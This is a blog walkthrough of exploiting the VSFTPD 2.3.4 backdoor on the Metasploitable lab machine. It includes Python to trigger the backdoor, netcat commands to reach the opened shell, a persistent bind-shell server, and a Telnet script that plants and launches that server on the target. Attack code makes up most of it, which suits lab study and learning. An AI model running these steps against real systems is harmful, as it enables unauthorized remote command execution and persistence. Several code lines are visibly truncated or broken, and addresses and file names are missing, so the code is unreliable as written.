Metasploitable Walkthrough Part 2. – VSFTPD

It’s been over a year since I’ve done something security-related and today I’m continuing the series about the Metasploitable project. The last part was reconnaissance, where I showed multiple vulnerabilities found on the machine. One of them was related to the VSFTPD. Today I’ll just script the attack.

What is VSFTPD Vulnerable to?

There’s a known issue of the VSFTD in version 2.3.4 that opens up a shell when someone tries to authenticate with any username followed by the “:)” sequence. More details can be found here. BTW, you can take a look at the downloadable version of the project from web archive here. It’s funny to see how the user-friedliness of thee software has improved over time. As I’m trying to do as much manually as I can to learn from it I won’t be using this exploit. OK, I’m lazy and I used the idea of utilizing Telnet instead of playing around with sockets 😛. According to it after executing this code:

import ftplib
import sys

# Pass the target ip as first argument to the program, ie. python
target = sys.argv[1]

ftp = ftplib.FTP(target)

A new connection on port 6200 should be available. And it is, indeed:

➜  ~ nc 6200
python --version
Python 2.5.2

At first I was a bit confused since no prompt showed up, but the code is working. Now it’s time to make use of this finding and set up a command and control server that won’t die the moment I disconnect. The python in version 2.5 seems a bit ancient, which turns out to be a bit of a trouble, since even the docs for python 2.7 turn out to be outdated and I can’t use some features, like the check_output() function. At this point I’m starting to do some workarounds, like digging in what I have for 2.5 using dir() command, or trying to install 2.5 with pyenv.

Using python dir() command to see the contents of subprocess module in Python 2.5.

Finally I have a workaround. The solution is to redirect the output to a file and read from it.

import socket
import os
import subprocess

HOST = "{target}"
PORT = 6201

while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((HOST, PORT))

        client_socket, client_address = s.accept()

        while True:
            command = client_socket.recv(BUFFER_SIZE)
            splitted = command.split()

            if len(splitted) < 1:
                client_socket.send(" $ ")
            if splitted[0].lower() == "cd":
                os.chdir(" ".join(splitted[1:]))
                f = open("out.txt", "w")
                out =, stdout=f)
            f = open("out.txt")
            content =
            message = content + " $ "
    except socket.error:

Let me walk through this code. We have 2 infinite loops: the inner one for handling single connection and the outer 1 that suppresses exceptions so that the server is alive after connection failures. We read command from the buffer, execute it and save result in the out.txt file. In order to do this, we need to pass the file handler to the cal()method. After this, we can read from the file and send the contents through the socket to the client.

Automating the attack on VSFTPD

Last, for convenience, we’ll need to send this code through the backdoor and save it. In order to do this we call write() function a few times:

    tn = Telnet(sys.argv[1], 6200)
    tn.write(b"touch out.txt\n")
    tn.write(b"echo \'" + code.encode("utf-8") +  b"\' >\n")
    tn.write(b"python &\n")
except KeyboardInterrupt:

The last interact() call is not really necessary. It’s there only to test the results. The attack isn’t very spectacular. Just calling


on our machine and later

nc 6201

in order to get the connection is all. Could we do it better? Well, sure, we could hide the files for instance, but this isn’t our main concern here.


This was a quick walkthrough on Metasploitable and the exploitation of the VSFTPD with a bit of automation. I believe that in spite of the problems with writing some code in an ancient Python version, this was a pretty easy task to complete. For the next post I’ll try to find something more interesting. Stay tuned, subscribe to the newsletter to keep up to date. You can find the full source code on GitLab. Happy hacking!